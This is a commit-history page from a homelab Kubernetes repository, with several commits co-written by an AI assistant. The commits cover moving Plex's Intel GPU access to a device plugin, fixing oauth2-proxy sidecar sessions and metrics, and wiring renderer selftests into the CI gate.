bdfa72b1c706f30b02bb3e360fd494cbbd509b6b
800
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 jakman85
|
bdfa72b1c7 |
Merge pull request 'feat(gpu): satisfy hardware.gpu: intel-quicksync with gpu.intel.com/i915 instead of a /dev/dri hostPath (the hostPath was measured not to work: device-cgroup EPERM)' (#37) from feat/quicksync-via-device-plugin into main
Reviewed-on: #37 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
4f16e83eec |
Merge pull request 'feat(obs): make oauth2-proxy auth failures visible — the gates emit nothing' (#29) from feat/oauth2-proxy-auth-failure-visible into main
Reviewed-on: #29 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
0c7e8dd3ba |
Merge pull request 'fix(ci): catalog/render.py's 106 selftest assertions never ran in the gate' (#33) from fix/render-selftest-runs-in-gate into main
Reviewed-on: #33 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
8c12a1e525 |
Merge pull request 'feat(auth): declare API paths per service, so --api-route can ship at all' (#34) from feat/oauth2-proxy-api-route-per-app into main
Reviewed-on: #34 Reviewed-by: Keith Jackson <[email protected]> |
||
 jakman85andClaude Opus 5
|
9babe5768f |
docs(decisions): handoff for the quicksync mechanism swap, including the regression it trades into
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
78bf68493d |
feat(gpu): satisfy hardware.gpu: intel-quicksync with gpu.intel.com/i915, not a /dev/dri hostPath
The hostPath mechanism was MEASURED NOT TO WORK. In the live Plex pod on
k3s-prod-2, 2026-10-01: the device node was VISIBLE in the container
(`crw-rw---- root video2 226,128 renderD128`) and could not be opened --
`uid 0 O_RDWR -> EPERM` and `uid 1000 O_RDWR -> EPERM`. EPERM from the DEVICE
CGROUP, not EACCES from file permissions, proven three ways: root on the HOST
opens the same device rc=0; the node is unified cgroup2fs; and the container's
runc config.json read `linux.resources.devices: [{allow: False, access: 'rwm'}]`
with `linux.devices: None` -- one deny-all rule, no allow entry for major 226.
A hostPath is a filesystem operation: it binds the device node in but adds no
cgroup allow rule, because Kubernetes cannot infer one from a volume.
The Intel GPU device plugin produces that allow rule
(`createDeviceSpecsFromDrmFiles` emits `DeviceSpec{..., Permissions: "rw"}`).
It shipped as #36 and is live: all three prod nodes advertise
`gpu.intel.com/i915: 1`, DaemonSet 3/3/3 (measured 2026-10-01).
ZERO ServiceDefinition field changes, which was the entire point of making the
field an enum of capability classes rather than a device path. `catalog/plex.yaml`'s
`hardware:` block comes through byte-identical; only its comment changes, because
it restated the old mechanism. Contract invariant 8 holds, now demonstrated rather
than claimed.
- catalog/render.py: `DRI_VOLUME_NAME`/`DRI_DEVICE_DIR` retired for
`QUICKSYNC_RESOURCE`; the hardware branch now sets
`resources.limits["gpu.intel.com/i915"] = 1` on the APP container only (never a
sidecar) and emits no volume, no mount, no securityContext, no nodeSelector.
`limits` not `requests` is mandatory: Kubernetes mirrors requests from limits,
and a requests-only extended resource is invalid. This is the only app-container
`resources` render path and is deliberately narrow -- no general CPU/memory
feature was invented.
- selftests: resources dict asserted EXACTLY; hostPath/mount asserted ABSENT; the
no-`hardware` negative extended to `resources`; the podSecurityContext
pass-through and the no-synthesised-securityContext assertions kept; one new
assertion that the limit never reaches the oauth2-proxy sidecar. Mutation-tested:
8/8 mutants caught (requests-instead-of-limits, emission dropped, hostPath
re-added, emitted unconditionally, supplementalGroups synthesised, wrong resource
name, quantity as a string, limit leaked onto the sidecar).
- apps/wave-0/plex.yaml: six hostPath lines removed, a three-line resources block
added. Only golden touched; keycloak/vm-demo unchanged.
THE REGRESSION, STATED RATHER THAN SOLD. Before: device missing ->
`DirectoryOrCreate` mounted an empty dir -> Plex ran and SILENTLY
software-transcoded (invisible, harmless to everything else). After: resource
unavailable (plugin broken, removed, or not yet reconciled) -> Plex is
UNSCHEDULABLE, and `apps-wave-0` is `wait: true` with `apps-wave-1` dependsOn it,
so that STALLS THE APP TIER. Unavoidable: an extended resource is a hard
scheduling constraint, and it is also the only thing that produces the cgroup
allow rule. There is no graceful-degradation variant. Plex's schedulability is now
coupled to the intel-gpu-plugin DaemonSet. Escape hatch, one field and no code
change: delete the `hardware:` block from catalog/plex.yaml and re-render.
Documented in the contract, the runbook (its own top-of-page section and a
"Plex will not schedule" procedure) and the handoff.
HARDWARE TRANSCODING IS STILL NOT OBSERVED WORKING. The decisive open() test
cannot be re-run until this merges and Flux reconciles, and the Plex-side
`HardwareAcceleratedCodecs` toggle is still unset. A green gate proves the
manifest renders.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85
|
8214642d87 |
Merge pull request 'feat(gpu): Intel GPU device plugin v0.37.0 — nodes advertise gpu.intel.com/i915' (#36) from feat/intel-gpu-device-plugin into main
Reviewed-on: #36 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
2983378496 |
chore(decisions): record the CI reading, and why the metrics policy is NOT here
Follow-up to the branch's one substantive commit; no code change.
CI on
|
||
|
jakman85andClaude Opus 5
|
4e1b169256 |
feat(gpu): Intel GPU device plugin v0.37.0, in its own Flux Kustomization
Makes the three prod nodes advertise `gpu.intel.com/i915`. This is the measured
fix for the Plex hardware-transcoding blocker, and it only makes the resource
EXIST — no consumer is switched over here.
WHY. The `/dev/dri` hostPath merged on main @
|
||
|
jakman85andClaude Opus 5
|
1e71b578d5 |
docs(obs): record why CI is red — approval-policy on the one conformance entry
The gate job reported failure while the local run was rc 3 with nothing failed. Measured cause is a single sensitive path (the KNOWN_EXTERNAL_MONITORS entry) with no non-author approving review, which ci/approval-policy.sh blocks fail-closed by design. Also records the general trap: approval-policy short-circuits to N/A off a pull_request event, so a clean LOCAL gate is a false reassurance for any branch touching a sensitive path. Only the PR run tells the truth. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
99560c2d22 |
feat(auth): declare API paths per service, so --api-route can ship at all
PR #28 fixed the cookie collision, the 5-minute session and the missing metrics
listener in one renderer function, and deliberately declined `--api-route`
because the config model could not express the difference between two apps.
This adds the hook it was missing and sets the flag only where a measurement
says to.
THE DEFECT. oauth2-proxy answers an unauthenticated request with a 302 to
Keycloak. Its AJAX guard would send 401 instead, but it fires only on an EXACT
`Accept: application/json`, which these apps' JavaScript does not consistently
send. So a browser XHR gets a 302, FOLLOWS IT INVISIBLY, has it satisfied
silently by the live SSO session, and resolves 200 carrying the app's HTML where
the JavaScript expected JSON. On a write it is worse: a browser following a 302
re-issues a POST as a GET and DROPS THE BODY, so the operator's change is
discarded and the UI reports success.
MEASURED, on two apps and two different paths -- which is the whole argument:
jackett 2026-09-30: 33 x 302 vs 2 x 401 on /api/ paths, and 4 of 6 POSTs
answered by the proxy and never reaching Jackett (upstream `-`).
radarr 2026-10-01, 23h after PR #28 deployed (pod radarr-7d55cbffb9-42hmh,
0 restarts): 232 unauthenticated requests in the pod's whole life and
ALL 232 are the same call -- POST /signalr/messages/negotiate from a
browser, 302, upstream `-`. A left-open tab whose session the cookie
rename orphaned, polling forever, silently redirected every time and
NEVER re-prompting. The reported symptom, still in production.
So radarr's broken path is /signalr/ and jackett's is /api/, and PIHOLE SERVES
NO /api/ AT ALL. One function renders all five sidecars, so the cheap fix is a
constant -- and a constant applies one app's measurement to four apps nobody
measured. `auth` was `additionalProperties: false`, so there was no per-app
hook. Adding one named, documented key is the change; the block stays closed.
schemas/servicedefinition.schema.json 1.8.0 -> 1.9.0: optional
`auth.apiRoutes`, a list (radarr needs two, and --api-route is natively
repeatable) of anchored path regexes. Plus the shape invariant that a
non-empty list requires mode: forward-auth, since no sidecar is rendered
for oidc/native/none and declaring it there would be a SILENT NO-OP.
catalog/render.py emits one --api-route per entry, in order, and RAISES on
an unanchored entry. The flag is SINGULAR -- verified against the pinned
v7.8.1 binary's own --help; --api-routes does not exist and the proxy
refuses to start with it.
catalog/{jackett,radarr}.yaml the two measured apps.
catalog/{pihole,sonarr,qbittorrent}.yaml comments recording that they get
NOTHING, and why. Sonarr and qBittorrent were measured (0 unauthenticated
requests in 23h) and left alone: that is evidence of no TRAFFIC, not of no
need, and sonarr being nearly radarr's codebase is what makes the guess
tempting and still a guess.
apps/wave-0/jackett.yaml, apps/wave-1/radarr.yaml regenerated. Only TWO
goldens change; pihole/qbittorrent/sonarr are byte-identical to main,
which is the per-app property proving itself on the real tree.
BREADTH IS THE DANGEROUS DIRECTION AND IT IS NOT SYMMETRIC. A missing
--api-route is a silent 302. A too-broad one answers a plain PAGE LOAD with
401, so a logged-out operator gets a bare error page and is never offered a
sign-in -- the service looks permanently broken. Each entry must therefore
match `^\^/[A-Za-z0-9._~/-]+(\.\*|\$)?$`: anchored at ^/ then literal path
characters. `^/`, `^/.*`, `.*`, `/api/` and `^/api/|^/` are all rejected, all
five provoked. Alternation is refused rather than supported because the flag is
repeatable, so one entry per route costs nothing.
NEW GATE CHECK: conformance/tests/l0-static/oauth2-proxy-api-routes-per-app
(whole-repo scope, so ci/l0.sh's --include-scope union runs it on every
invocation; no bespoke stage, which whole-repo-invariants-wired would fail).
It is a SIBLING of oauth2-proxy-cookie-names-distinct, not an extension of it:
that check's subject is cookie IDENTITY and shares neither inputs nor failure
mode with this, so bundling them would make its name a lie and let a future
api-route decision be expressed only by weakening a COOKIE check.
The check exists for one reason the other gates cannot cover: render-golden
compares the render to the goldens, so a RENDERER CONSTANT plus regenerated
goldens AGREE WITH EACH OTHER while both being wrong. Provoked: the regen exits
0 -- render-golden is happy -- and this check exits 1 with 15 failures naming
pihole, qbittorrent, radarr and sonarr individually. It also asserts the
anchoring pattern is the SAME in the schema and the renderer, because three
surfaces guard this and if they drift the loosest wins silently.
Tested in both directions on throwaway trees outside the repo: compliant tree
rc 0 / 43 assertions / 6 sidecars; pre-change tree rc 1 / 11 failures; and four
targeted mutations (hand-edited golden, widened regex, renderer constant,
deleted schema pattern) each firing their own assertion class and nothing else.
ALSO FOLDED IN (coordinator's request; defect is in the file I own). _selftest()
reached _cookie_name() through a bare `next(genexpr)` with NO default, so
deleting the --cookie-name emission -- the exact mutation that assertion exists
to catch -- raised StopIteration, which escaped _selftest() BEFORE its collected
`SELFTEST FAIL:` lines were printed. Right verdict, zero diagnostics, and it
masked every other assertion the same mutation broke (found by Desmond Oyelaran
while wiring the selftest into the render-golden stage; his PR #33 is not in this
base -- origin/main @
|
||
|
jakman85andClaude Opus 5
|
bce101d03f |
feat(obs): wire the gate-sidecar scrape, and fix the alert that would have gone silent doing it
PR #28 gave the five fleet oauth2-proxy sidecars --metrics-address=0.0.0.0:44180 and a named `metrics` port. This wires a scraper to them and, in the process, found a real bug in the alert this branch added. PodMonitor, not ServiceMonitor. Measured: no Service exposes 44180 on any of the five (jackett/radarr/sonarr/qbittorrent/pihole all publish only their app port + authproxy 4180), so a ServiceMonitor would select nothing. A PodMonitor targets pod ports directly and needs no change to catalog/render.py or the apps/wave-* renders and goldens. Selector is the pod label homelab.keithjackson.dev/auth-mode=forward-auth — present on exactly those five gate pods, absent from crafty's, which still has no metrics listener. The property, not an app list. THE BUG: `up{container="oauth2-proxy"}` -> `up{container="oauth2-proxy"} == 1`. A target that is discovered but FAILING still publishes `up`, with value 0. The series exists, so count by (namespace) returned 1, `unless` removed the namespace, and OAuth2ProxyGateUnobserved went QUIET while nothing was being scraped at all — this branch's own disease reproduced inside the alert written to cure it. Not hypothetical: the PodMonitor lands five targets whose scrape is dropped, so the bare form would have silently cleared on this very commit. Proven by mutation: reverting the `== 1` fails the two new unit-test scenarios (got: nil) and leaves every other assertion green. The scrape does NOT work yet, and that is documented rather than papered over. From a pod in ns monitoring to the jackett pod, :44180 AND :4180 both time out; the shared proxy's :44180 answers. ns jackett's default-deny is podSelector:{} with policyTypes:[Ingress,Egress] and NO ingress key (deny-all), and the one allowance is fromEntities:[ingress] to 4180 — the Gateway's Envoy only. The endpoint itself is healthy: port-forwarded, /metrics returns http=200, 10208 bytes, all three oauth2_proxy_* families including requests_total{code="302"}. Same bug and fingerprint as platform/longhorn/networkpolicy-metrics.yaml records for Longhorn; the fix is one narrow rule per app, and it cannot ship from this tier because oauth2-proxy and apps-wave-0 are Flux SIBLINGS (both dependsOn platform-config), so naming ns jackett here would apply today and fail on a cold rebuild. Needs an owner in the renderer. Touches conformance/** : one KNOWN_EXTERNAL_MONITORS entry, which is the mechanism the failing check explicitly instructs ("DECLARE it ... with who creates it") and which flux-podmonitor.yaml already uses. It records that the port name was measured on prod instead of resolved from a Service, and that the targets are currently down. That makes this PR require a non-author review on the sensitive-path rule. Also: ratio alert still NOT shipped. oauth2_proxy_requests_total now exists on the endpoint but not in the TSDB, so writing it today would make it inert for exactly the reason it was refused on 2026-09-30. Runbook gains policy-vs-no-target triage and the radarr /signalr/messages/negotiate worked case — one orphaned browser tab, 206 identical 302s, nobody ever re-prompted. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85
|
ba79a1b59b |
Merge remote-tracking branch 'origin/main' into feat/oauth2-proxy-auth-failure-visible
# Conflicts: # runbooks/kustomization.yaml |
||
|
jakman85andClaude Opus 5
|
d44490736c |
fix(ci): catalog/render.py's 106 selftest assertions never ran in the gate
`catalog/render.py --selftest` executes 106 assertions on the renderer's output
contract. Nothing in ci/ or .gitea/ had ever invoked it — grepped and confirmed —
so all 106 were dev-time only, and the merge gate could not tell a sound renderer
from a gutted one. Recorded as the top follow-up of
decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md.
`ci/render-golden.sh` now runs it and exits 1 when it fails. One file, six lines
of invocation; the rest is the rationale comment.
WHY HERE. The lead was auditability-proofs-producible/check.sh:291, which drives
conformance/lib/{record_run,status}.py --selftest "because nothing else drives
them". That is the wrong hook: the check serves R-SEC-03 and its subject is the
evidence chain — can a forged or stale run become an audit proof? The renderer is
not in that chain, and hanging it there would make the check's name, its intent
annotation and its requirement mapping untrue. This stage's subject already IS
catalog/render.py, so the renderer's own contract test belongs in it.
The two assertions are independent, and that is the point: render-golden catches
golden-vs-renderer drift but is satisfied by ANY renderer whose output was
re-rendered — including one that just lost a contract invariant and had all ten
goldens regenerated in the same commit. That is precisely the hole the follow-up
named. The selftest catches it; render-golden cannot.
It runs before the empty-catalog exit 3 because the selftest renders synthetic
ServiceDefinitions in memory and is catalog-independent — an empty catalog must
not be able to skip it. Failure is a hard rc 1, never a skip: the renderer is
source in this repo, so once python3 and render.py are both present (asserted
above it) there is no legitimate environmental cause for "could not run".
PROVEN TO FAIL, not merely to pass. Against mutated COPIES of the renderer via
the stage's existing RENDER_PY override, so catalog/render.py — another branch's
file this session — was never touched:
* deleting the --cookie-name emission (reverting PR #28's fleet-wide cookie
fix) -> stage rc 1;
* OAUTH2_COOKIE_REFRESH 2m30s -> 10m -> stage rc 1 with the named assertion
"parses to 600.0s, which is not inside (0, 300s)" — one of the two flags the
cookie entry recorded as UNGATED, and one render-golden's diff would miss.
AND PROVEN TO PROPAGATE, in the pinned toolbox: selftest rc 1 -> stage
render-golden FAIL -> `MERGE GATE: BLOCKED`, gate.sh rc 1. Worth provoking: this
repo flattens exit codes, and .gitea/workflows/gate.yml:138 runs
`./ci/gate.sh || [ "$?" -eq 3 ]`, so a failure degraded to a skip would be
swallowed by CI.
render.py itself is unchanged. No conformance/ path is touched, no gate stage is
added, nothing is deployed by this.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85
|
cdf3e14e27 |
Merge pull request 'feat(plex): hardware transcoding via hardware.gpu: intel-quicksync, plus the runbook for the manual last mile' (#32) from feat/plex-quicksync into main
Reviewed-on: #32 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
41a20dfd20 |
Merge pull request 'feat(schema): declare a host hardware capability, hardware.gpu: intel-quicksync' (#27) from feat/sd-hardware-capability into main
Reviewed-on: #27 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
df1fd1b3d1 |
chore(decisions): record the rebase onto main @ 08deb20
The runbooks/README.md conflict was two index entries appended at the same point, not a semantic one. Both kept, in the file's grouped order. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
0fee584e3a |
feat(plex): opt into hardware.gpu: intel-quicksync, and write the runbook for the step GitOps cannot reach
Plex has been transcoding in software on hardware that can do it in the iGPU. This opts its ServiceDefinition into the `hardware` capability from #27 and re-renders. catalog/plex.yaml gains four lines of YAML and the comment that explains them: hardware: gpu: intel-quicksync which renders exactly two things into apps/wave-0/plex.yaml and nothing else — a `dri` hostPath volume (/dev/dri, type: DirectoryOrCreate) and a read-write /dev/dri volumeMount on the app container. Whole-tree render diff: 6 added lines, one file. The comment records what is not obvious from the four lines: the device exists on ALL THREE prod nodes with i915 bound (so no nodeSelector is rendered and none is wanted); why `supplementalGroups` would be INERT rather than a hardening (the image's cont-init hook adds the plex user to the device's group inside the container, and s6-setuidgid then REPLACES the process group list from /etc/group, discarding anything Kubernetes supplied); and why `DirectoryOrCreate` is load-bearing (apps-wave-0 is wait:true with apps-wave-1 depending on it, so a failed mount would stall the whole app tier for a feature that is not). THE FEATURE IS INERT UNTIL A HUMAN CLICKS A BOX, and that is the part this commit is really about. Mounting the device does not enable hardware transcoding; Plex's `HardwareAcceleratedCodecs` preference does, and it is ABSENT from Preferences.xml — the toggle has never been on. It cannot be automated: a bounded grep across the running image's entire init surface (/etc/cont-init.d, /etc/services.d, /etc/fix-attrs.d, /plex-common.sh, /usr/local/bin) found ZERO PLEX_PREFERENCE* support, and the six setPref keys the image does write are all unrelated. So runbooks/plex-quicksync.md is the procedure, registered in the configMapGenerator (a runbook in git with no generator entry is reviewed, merged, and still a 404) and indexed in runbooks/README.md. It covers the GitOps/manual boundary, the toggle and the real preference keys (including the widely-cited one that does not exist and the upstream misspelling nobody should "fix"), verification via `Transcode (hw)` on the Plex dashboard — stated plainly as the ONLY proof, because Plex renders no ServiceMonitor and an alert could never fire — the device-cgroup failure to expect first with its Intel-device-plugin fallback, and the floating-`:latest` caveat. Stacked on #27 (feat/sd-hardware-capability), which is open and unmerged; that branch's commit is in this range by design and this must merge after it. NOT VERIFIED, and the handoff says so at length: hardware transcoding has not been observed working. Whether containerd's device cgroup lets a non-privileged pod open() a bind-mounted char device is an open question that only deploying settles, and the Plex-side toggle was still unset at the time of writing. A green gate proves the manifest renders; it proves nothing about transcoding. Gate (pinned toolbox, worktree): rc 3 — UNDETERMINED, not green. Passed: decisions-log, lint, l0, render-golden, l1, approval-policy. Skipped (the known local ceiling): spec-immutability (no sibling spec repo), gitea-settings (no SETTINGS_API_TOKEN), conformance (CLUSTER_AVAILABLE unset, so L2/L3 did not run). No fourth skip, nothing failed. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
f716e9d167 |
chore(decisions): record the rebase onto main @ 08deb20
The render.py conflict was textual adjacency with PR #28's constants block, not a semantic one. Both sides kept. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
fa4765bb3e |
feat(schema): declare a host hardware capability, hardware.gpu: intel-quicksync
A ServiceDefinition could not say it needs the host's Intel QuickSync render
device. The schema is `additionalProperties: false`, so there was no authorable
form for it at all, and `apps/` is generated — a hand-edit would be reverted by
the next render.
Adds optional top-level `hardware`, with one optional member `gpu`, an enum
whose only current value is `intel-quicksync` (schema 1.7.0 -> 1.8.0).
The enum is the point. The SD declares WHAT CLASS of device it needs; the
hostPath and the mount live only in catalog/render.py. Migrating to the Intel
GPU device plugin (`gpu.intel.com/i915` resource requests, no hostPath) is then
a renderer change with zero catalog edits. Letting an SD name `/dev/dri`
directly would look simpler and make that migration a catalog-wide edit, so
both the schema description and the renderer contract say so explicitly.
When `hardware.gpu == intel-quicksync`, r_deployment emits exactly two things,
on the app container only:
- a hostPath volume `dri` -> /dev/dri, type DirectoryOrCreate;
- a read-write volumeMount of it at /dev/dri (VA-API opens the render node
read-write, so deliberately not readOnly).
Mounting the device is sufficient. In particular NO
podSecurityContext.supplementalGroups is emitted, and adding one would be a
regression rather than a hardening. Measured in the running container on
prod-2, 2026-09-30:
PID 1 s6-svscan Uid: 0 Gid: 0 Groups: 0
pid 246 Plex Media Server Uid: 1000 Gid: 1000 Groups: 100 1000
The service is started with `exec s6-setuidgid plex ...`, and the child's group
list is exactly the /etc/group account-database list — root's gid 0, which
PID 1 holds, is gone. That is a setgroups() that REPLACES rather than appends,
so anything Kubernetes supplies is discarded before the app starts. What works
is the image's own /etc/cont-init.d/45-plex-hw-transcode-and-connected-tuner,
which stats each /dev/dri char device, groupadds a matching group inside the
container and usermods the app user into it, every start, nothing hardcoded.
An inert supplementalGroups would have read as the mechanism to whoever
debugged this next, so the absence is documented at the emission site and
asserted by --selftest. Corollary: the hook re-stats on every start, so host
GID drift is self-healing and no GID is pinned anywhere in this repo.
`DirectoryOrCreate` is load-bearing. A node that comes back without the render
device (rebuild, BIOS change, driver regression, hardware swap) must degrade
the workload to software transcoding, not fail the mount: apps-wave-0 is
`wait: true` and apps-wave-1 dependsOn it, so a failed hostPath mount stalls
the whole app tier for a feature that is not load-bearing. /dev is tmpfs, so
the empty directory the kubelet creates leaves nothing durable behind. Its cost
— a missing device is silent, and no metric exists to alert on — is recorded in
the contract rather than papered over with an alert that could not fire.
Also deliberately NOT emitted: no `privileged: true` (Kyverno restrict-host-
namespaces is Enforce and it is not needed), no nodeSelector (placement is a
separate concern with its own justification), no resource requests (there is no
app-container resource render path).
No catalog entry uses the field. Re-rendering `--all catalog -o apps` is a zero
diff, which is the proof the change is inert until opted into.
Self-tests in the existing check(...) style: the positive (volume + mount, and
no securityContext / privileged / nodeSelector), the negative (an SD without
`hardware` gains no volume, no mount, no securityContext — mirroring the
podSecurityContext negative) and a pass-through case (an SD's own
podSecurityContext survives byte-for-byte). Note that NO gate stage runs
`render.py --selftest`; they were run by hand and the gap is recorded in the
handoff.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85
|
08deb208a1 |
Merge pull request 'fix(jackett): root-cause the oauth2-proxy session loss; the fix cannot be scoped to one app' (#30) from fix/jackett-oauth2-proxy-session into main
Reviewed-on: #30 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
b763f11e19 |
Merge pull request 'feat(node-health): probe the Intel render device, read-only' (#31) from feat/node-health-render-device into main
Reviewed-on: #31 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
6caa5f2ee5 |
Merge pull request 'fix(auth): five oauth2-proxy sidecars shared one cookie, died at 5 minutes, and served no metrics' (#28) from fix/oauth2-proxy-cookie-collision-fleet into main
Reviewed-on: #28 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
c89537c465 |
docs(auth): record what PR #30's CI actually ran, not what its tick said
Read the commit's /statuses rather than the check mark: gate / gate (pull_request) state=success desc='Successful in 1m41s' gate / conformance (pull_request) state=success desc='Has been skipped' The second is CLAUDE.md 2b's trap in the wild -- a SKIPPED Gitea job reports state=success, so that green tick certifies nothing. It agrees exactly with the local rc 3: the offline L0/L1 subset passed, L2/L3 never ran. Anyone reading the PR's check mark alone would conclude the opposite. Also re-measured branch protection instead of trusting the table in CLAUDE.md: GET /repos/.../branches/main -> protected=true, user_can_push=false. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
7df72db487 |
docs(decisions): record what the CI gate actually reported, not the tick
The PR's required check went green as "Successful in 1m40s" — a real run, not "Has been skipped". But .gitea/workflows/gate.yml:138 is `./ci/gate.sh || [ "$?" -eq 3 ]`, so a green tick means exit 0 OR 3 and cannot distinguish them. Fetched the job log and read the gate's own headline: MERGE GATE: UNDETERMINED, one stage that did not run (spec-immutability). So CI is rc 3 too, and the tick is the tolerance swallowing it. Recorded that plainly rather than leaving "CI green" to be read as rc 0. Also corrects a claim that had gone stale within the same entry: CI ran two stages my worktree run could not, and both passed — gitea-settings (the live Gitea matches infra/gitea/expected-branch-protection.json; runners online 1) and approval-policy with real PR context (no sensitive paths touched, so infra/ansible/** needs no human reviewer). My local run skipped both, and the handoff said branch protection was UNVERIFIED. It is now measured, so saying otherwise would have left a known-false line in the log. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
dc136a4943 |
fix(auth): the forward-auth sidecar also died at 5 minutes and served no metrics
Widens the cookie-collision fix to the whole sidecar contract, because all three
defects live in the same function and land on the same five goldens, so they are one
atomic change or they are five conflicting ones.
Added to _oauth2_sidecar_container(), on top of the cookie-name/cookie-domain fix:
--cookie-refresh=2m30s
The session died FIVE MINUTES after sign-in. Keycloak's homelab realm issues
300-second access tokens (MEASURED on a live session: expires - created =
300.000s exactly, with refresh_token:true on the same line), and
--cookie-refresh defaults to 0 -- which the pinned binary's own help spells
"0 to disable". So the proxy held a refresh token it was never told to spend.
Refresh at HALF the lifetime: two chances to renew before expiry.
This, not the collision, is what dominates the rejection VOLUME -- ~95% of
radarr's 155 rejections in 12h carry no cookie at all.
--metrics-address=0.0.0.0:44180 + a `metrics` container port
Without the flag the /metrics listener never starts, so no per-app sidecar was
serving metrics at all (`ports` was ['http'] on all six). 44180 is the
platform's existing convention, measured not chosen: the shared proxy already
runs the same flag and port with 2 ready endpoints.
PREREQUISITE ONLY -- NOT scraped. A container port is not a Service port, and
each namespace's default-deny baseline is `ingress: []`, so this is unreachable
until a Service port (or PodMonitor), a monitoring allow and a ServiceMonitor
land. Do not read this as "the sidecars have metrics now".
EVERY FLAG VERIFIED AGAINST THE PINNED v7.8.1 BINARY (`--help`), not against docs or
the shared proxy -- which runs v7.15.3 and could not have vouched for v7.8.1:
* --metrics-address exists in 7.8.1, so this cannot crashloop the pods
* --cookie-refresh ... "0 to disable" confirms the default
* --cookie-name ... (default "_oauth2_proxy") -- this confirms from the
IMPLEMENTATION the constant the new L0 check is built on
* --api-route is SINGULAR; the plural does not exist and the proxy refuses to start
* --session-cookie-minimal exists and is mutually exclusive with --cookie-refresh,
so dropping --pass-access-token is a least-privilege argument, never a size fix
NOT done, deliberately: --api-route=^/api/ renderer-wide. It was measured on jackett
and PiHole does not serve /api/, so a renderer constant would apply one app's path
shape to five. It needs a per-app hook the `auth` schema forbids
(additionalProperties: false) -- a schema change, separate PR.
Also records the mechanism that made this INTERMITTENT, as a renderer comment, because
nobody would reconstruct it from the flags: the loser does not just fail to read the
cookie, it calls ClearSession, which expires the cookie on its own --cookie-domain --
the whole zone. The *arr UIs poll (/api/v3/command, /api/v3/queue/details,
/signalr/negotiate), so every poll carrying an undecryptable cookie clears it again:
A LEFT-OPEN RADARR TAB DELETED JACKETT'S COOKIE EVERY FEW SECONDS, from another
namespace, with no user action. That is why signing in again never helped for longer
than the gap between two polls.
Crafty's counter-evidence resolved: the 81:1 ratio was a 24h window straddling a
13h52m-old pod. Bounded to the fixed process, crafty's ENTIRE life is 3 rejections in
6743 log lines, with ZERO `removing session` and ZERO `cookie signature not valid`
against unfixed radarr's 8 and 8. The eviction fingerprint is gone where the fix is
deployed. It logged 0 AuthSuccess too, so that is absence-of-the-failure-mode rather
than a session watched working -- stated as such in the handoff.
Renderer selftest gains six assertions, including a --cookie-refresh check that PARSES
the duration and requires 0 < refresh < 300s (so 2m30s/150s/2.5m all stay green while a
silent widening past the token lifetime does not). NOTE, and it is in the handoff as the
top follow-up: NOTHING IN ci/ RUNS `render.py --selftest`, so those assertions are
dev-time only. conformance/tests/l0-static/auditability-proofs-producible/check.sh:291
already drives other tools' selftests for exactly this reason and is the one-line fix.
Gate (toolbox, worktree shim with the spec repo mounted at /home-network-k3s): rc 3
UNDETERMINED. Green: spec-immutability, decisions-log, lint, l0, render-golden, l1,
approval-policy. Skipped: gitea-settings (no local token), conformance (declared).
The new L0 check PASSES on this branch -- all five apps fixed in one commit.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
a78f010368 |
feat(node-health): probe the Intel render device, read-only
The prod nodes already have a working Intel render device — measured by hand on
all three on 2026-09-30. Nothing here installs, loads or changes anything; the
point is that the measurement now re-runs on every health run instead of decaying
silently in a handoff note.
The failure being hunted is silent by construction: Plex hardware-transcodes
through /dev/dri/renderD128, and if that node stops existing (node rebuild, a BIOS
change that disables the onboard IGD, a kernel that binds a different DRM driver)
Plex falls back to software transcoding on its own and the only symptom is a hot
CPU.
All of it is in the UNPRIVILEGED collector pass: lstat() on /dev/dri/*,
grp.getgrgid() for the owning group name, the /sys/class/drm/card*/device/driver
symlink for the bound driver, /sys/bus/pci/devices/*/class for display-class
devices whether or not a driver is bound, /sys/class/drm/card*/engine/* for the
vcs*/vecs* media engines, /proc/modules and /proc/cmdline. lspci and vainfo are
probed but never depended on — neither is in node_baseline's package floor.
Three checks, in the role's existing PASS/WARN/FAIL/SKIP/INFO shape:
graphics.render_device the outcome — a usable character-special renderD* node.
FAIL only when a display device IS on the PCI bus and
there is still no render node. SKIP when the machine has
no display device at all (a VM guest), which is why the
PCI scan is separate from the DRM scan: /sys/class/drm/
card* exists only once a driver has BOUND.
graphics.drm_driver what is bound, against the new
node_health_graphics_expected_driver default (i915), so
the comparison is data and not task logic. `xe` bound in
place of i915 is a WARN, not a FAIL: the device works but
the userspace media stack differs.
graphics.media_stack INFO only, deliberately. GuC/HuC off (i915.enable_guc=0)
is an accepted state that costs low-power H.264 encode
quality only, and no host vainfo is not a defect at all
because Plex ships its own libva inside its container.
The render node's owning group and GID are REPORTED, never asserted: `render` is a
systemd dynamic allocation rather than a Debian static gid, so a rebuild can
legitimately move it off the 992 measured today, and Plex's container entrypoint
